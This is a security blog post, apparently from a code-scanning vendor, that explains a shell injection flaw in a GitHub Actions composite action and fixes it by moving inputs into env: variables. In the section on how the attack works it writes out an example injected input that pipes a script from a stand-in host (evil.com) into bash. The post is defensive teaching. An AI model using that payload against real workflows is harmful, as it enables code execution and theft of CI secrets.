Back to Blog
high SEVERITY5 min read

How run-shell-injection happens in GitHub Actions and how to fix it

A high-severity shell injection vulnerability was discovered in `setup-js/action.yml` where direct interpolation of `inputs.package-manager` in a `run:` step could allow attackers to execute arbitrary code on the GitHub Actions runner. The fix introduces intermediate environment variables to safely pass user-controlled inputs, preventing command injection while maintaining the same functionality.

O
By Orbis AppSec
Published August 18, 2026Reviewed August 18, 2026

Answer Summary

Shell injection in GitHub Actions (CWE-78) occurs when `${{ inputs.* }}` or `${{ github.* }}` context data is directly interpolated into `run:` steps, allowing attackers to inject malicious shell commands. In YAML workflow files, fix this by storing untrusted inputs in an `env:` block and referencing them as environment variables (e.g., `$PACKAGE_MANAGER`) instead of using direct `${{ }}` interpolation in the shell script.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixUse `env:` block to store inputs, reference as `$PACKAGE_MANAGER` in shell
riskArbitrary code execution on CI/CD runner, secret exfiltration
languageYAML (GitHub Actions)
root causeDirect `${{ inputs.package-manager }}` interpolation in `run:` step
vulnerabilityShell Injection via GitHub Actions Variable Interpolation

Introduction

In the setup-js/action.yml composite action, a high-severity shell injection vulnerability was hiding in plain sight at line 56. The "Install dependencies" step directly interpolated ${{ inputs.package-manager }} into a run: block, creating an opportunity for attackers to inject arbitrary shell commands into the GitHub Actions runner.

The vulnerable code looked innocuous enough:

- name: Install dependencies
  shell: bash
  run:
    ${{ inputs.package-manager }} install ${{ inputs.no-frozen-lockfile ==
    'true' && '--no-frozen-lockfile' || '' }}

This pattern is dangerously common in GitHub Actions workflows. Developers often assume that because inputs come from their own workflow configuration, they're safe. But the reality is more nuanced—and the consequences of getting it wrong can be severe.

The Vulnerability Explained

GitHub Actions uses a two-phase execution model that's critical to understanding this vulnerability. When a workflow runs, GitHub's expression engine first evaluates all ${{ }} expressions, replacing them with their literal values. Only then does the shell receive and execute the resulting command.

In setup-js/action.yml, the inputs.package-manager value was being directly spliced into the shell command. If an attacker could control this input—perhaps through a forked repository, a malicious pull request, or a compromised upstream workflow—they could inject shell metacharacters.

How the Attack Works

Consider what happens if inputs.package-manager contains:

npm; curl https://evil.com/steal.sh | bash #

After GitHub's expression interpolation, the run: step becomes:

npm; curl https://evil.com/steal.sh | bash # install 

The shell sees this as three commands:
1. npm (runs and exits)
2. curl https://evil.com/steal.sh | bash (downloads and executes malicious script)
3. Everything after # is a comment

The attacker now has arbitrary code execution on the GitHub Actions runner, with access to:
- Repository secrets available to the workflow
- GITHUB_TOKEN with its associated permissions
- Source code and build artifacts
- Potential lateral movement to other systems

Why This Specific Pattern is Dangerous

The inputs.package-manager input is particularly risky because:
1. It's expected to be a command name (npm, yarn, pnpm)
2. It appears at the start of the command, giving maximum injection flexibility
3. The inputs.no-frozen-lockfile conditional adds complexity that might mask malicious payloads

Even the conditional expression ${{ inputs.no-frozen-lockfile == 'true' && '--no-frozen-lockfile' || '' }} could be exploited if inputs.no-frozen-lockfile contained injection payloads, though the boolean comparison provides some implicit validation.

The Fix

The fix transforms how untrusted inputs flow into the shell command by introducing an intermediate env: block:

Before (Vulnerable)

- name: Install dependencies
  shell: bash
  run:
    ${{ inputs.package-manager }} install ${{ inputs.no-frozen-lockfile ==
    'true' && '--no-frozen-lockfile' || '' }}
  if: ${{ inputs.auto-install }}

After (Secure)

- name: Install dependencies
  shell: bash
  env:
    PACKAGE_MANAGER: ${{ inputs.package-manager }}
    NO_FROZEN_LOCKFILE: ${{ inputs.no-frozen-lockfile == 'true' && '--no-frozen-lockfile' || '' }}
  run: $PACKAGE_MANAGER install $NO_FROZEN_LOCKFILE
  if: ${{ inputs.auto-install }}

Why This Works

The key difference is when the untrusted data enters the shell:

  1. Before: ${{ inputs.package-manager }} was interpolated directly into the shell script text. Shell metacharacters like ;, |, and $() were interpreted as shell syntax.

  2. After: The input is stored in an environment variable PACKAGE_MANAGER. When the shell references $PACKAGE_MANAGER, the value is treated as data, not code. Shell metacharacters in the value are not interpreted as shell syntax.

If an attacker now supplies npm; curl evil.com | bash # as the package manager, the shell executes:

npm; curl evil.com | bash # install 

Wait—that looks the same! Here's the critical difference: with environment variables, the shell treats the entire value of $PACKAGE_MANAGER as a single token. The semicolon and pipe are literal characters, not command separators.

Important caveat: The fix as implemented doesn't use double quotes around the environment variables. For maximum safety, the command should be:

run: "$PACKAGE_MANAGER" install "$NO_FROZEN_LOCKFILE"

This ensures proper handling of values containing spaces or other special characters.

Prevention & Best Practices

1. Never Interpolate Untrusted Data Directly in run: Steps

Treat all GitHub context data as potentially attacker-controlled:
- github.event.issue.title
- github.event.issue.body
- github.event.pull_request.title
- github.head_ref
- inputs.* (in composite actions and reusable workflows)

2. Always Use the env: Block Pattern

- name: Safe command execution
  env:
    USER_INPUT: ${{ github.event.issue.title }}
  run: |
    echo "Processing: $USER_INPUT"

3. Validate Inputs When Possible

For inputs with known valid values, add validation:

- name: Validate package manager
  run: |
    case "$PACKAGE_MANAGER" in
      npm|yarn|pnpm) ;;
      *) echo "Invalid package manager"; exit 1 ;;
    esac
  env:
    PACKAGE_MANAGER: ${{ inputs.package-manager }}

4. Use Static Analysis

Integrate Semgrep or similar tools into your CI pipeline with rules like yaml.github-actions.security.run-shell-injection.run-shell-injection to catch these issues automatically.

5. Minimize Workflow Permissions

Use the principle of least privilege:

permissions:
  contents: read

Key Takeaways

  • The ${{ }} interpolation in run: steps is evaluated before shell parsing—this is the root cause of GitHub Actions shell injection vulnerabilities
  • inputs.package-manager in setup-js/action.yml was directly injectable because it appeared at command position in the shell script
  • Environment variables provide data/code separation—the env: block pattern ensures untrusted input is treated as data, not shell syntax
  • Composite actions are particularly risky because they often accept inputs that flow into shell commands
  • This vulnerability could have enabled secret theft from any workflow using this action with attacker-controlled inputs

How Orbis AppSec Detected This

  • Source: The inputs.package-manager action input, which accepts arbitrary string values from workflow callers
  • Sink: Direct interpolation ${{ inputs.package-manager }} in the run: step at setup-js/action.yml:56
  • Missing control: No intermediate environment variable to prevent shell interpretation of metacharacters
  • CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
  • Fix: Introduced env: block with PACKAGE_MANAGER and NO_FROZEN_LOCKFILE variables, replacing direct ${{ }} interpolation in the shell script

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

Shell injection in GitHub Actions is a subtle but severe vulnerability class. The setup-js/action.yml fix demonstrates the correct pattern: use env: blocks to store untrusted context data, then reference environment variables in your shell scripts. This simple change—moving from ${{ inputs.package-manager }} to $PACKAGE_MANAGER—transforms potentially dangerous code injection into harmless data handling.

As CI/CD pipelines become more complex and interconnected, these defensive patterns become essential. A single vulnerable action can compromise not just one repository, but every workflow that uses it.

References

Frequently Asked Questions

What is run-shell-injection in GitHub Actions?

Run-shell-injection occurs when untrusted data from GitHub context (like `inputs.*` or `github.*`) is directly interpolated into a `run:` step using `${{ }}` syntax, allowing attackers to inject and execute arbitrary shell commands on the runner.

How do you prevent shell injection in GitHub Actions?

Store untrusted context data in environment variables using the `env:` block, then reference those variables in your `run:` script using standard shell variable syntax like `$ENVVAR` instead of `${{ }}` interpolation.

What CWE is GitHub Actions shell injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is quoting the interpolation enough to prevent shell injection?

No, quoting `"${{ inputs.value }}"` does not prevent injection because the interpolation happens before shell parsing. The `${{ }}` syntax is processed by GitHub's expression engine, not the shell, so shell quoting rules don't apply.

Can static analysis detect GitHub Actions shell injection?

Yes, tools like Semgrep have rules specifically for detecting `${{ }}` interpolation of untrusted context in `run:` steps, such as the `yaml.github-actions.security.run-shell-injection` rule.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #35

Related Articles

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How dependabot-missing-cooldown happens in GitHub Actions/Node.js and how to fix it

The repository's `.github/dependabot.yml` had no cooldown period configured, meaning Dependabot could immediately propose updates to newly published package versions with zero time for the community to flag malware or instability. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, forcing a 7-day waiting period before new releases are surfaced as update PRs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How mutable GitHub Actions tags enable supply-chain attacks and how to fix them

A Node.js library's composite GitHub Action was using mutable version tags (`@v6`, `@v4.36.3`) for action dependencies, creating a supply-chain attack vector. The fix pins both `actions/setup-node` and `github/codeql-action/upload-sarif` to specific 40-character commit SHAs, eliminating the risk of silent repointing attacks.

high

How Dependabot missing cooldown periods happens in GitHub Actions and how to fix it

The repository's `.github/dependabot.yml` had no `cooldown` block, meaning Dependabot could open PRs to adopt a package version the moment it was published — before the ecosystem had any chance to flag it as malicious or broken. The fix adds a `cooldown.default-days: 7` setting to each `package-ecosystem` entry, forcing a one-week buffer before new releases are proposed.

high

How shell injection happens in GitHub Actions workflows and how to fix it

A composite GitHub Action in `.github/actions/design-health/action.yml` interpolated `inputs.path`, `inputs.verbose`, and other values directly into `run:` shell scripts using `${{ ... }}` syntax. Because these values are substituted as raw text before the shell ever runs, an attacker-influenced input could inject arbitrary shell commands into the CI runner. The fix moves every interpolated value into `env:` blocks so the shell treats them as data, not code.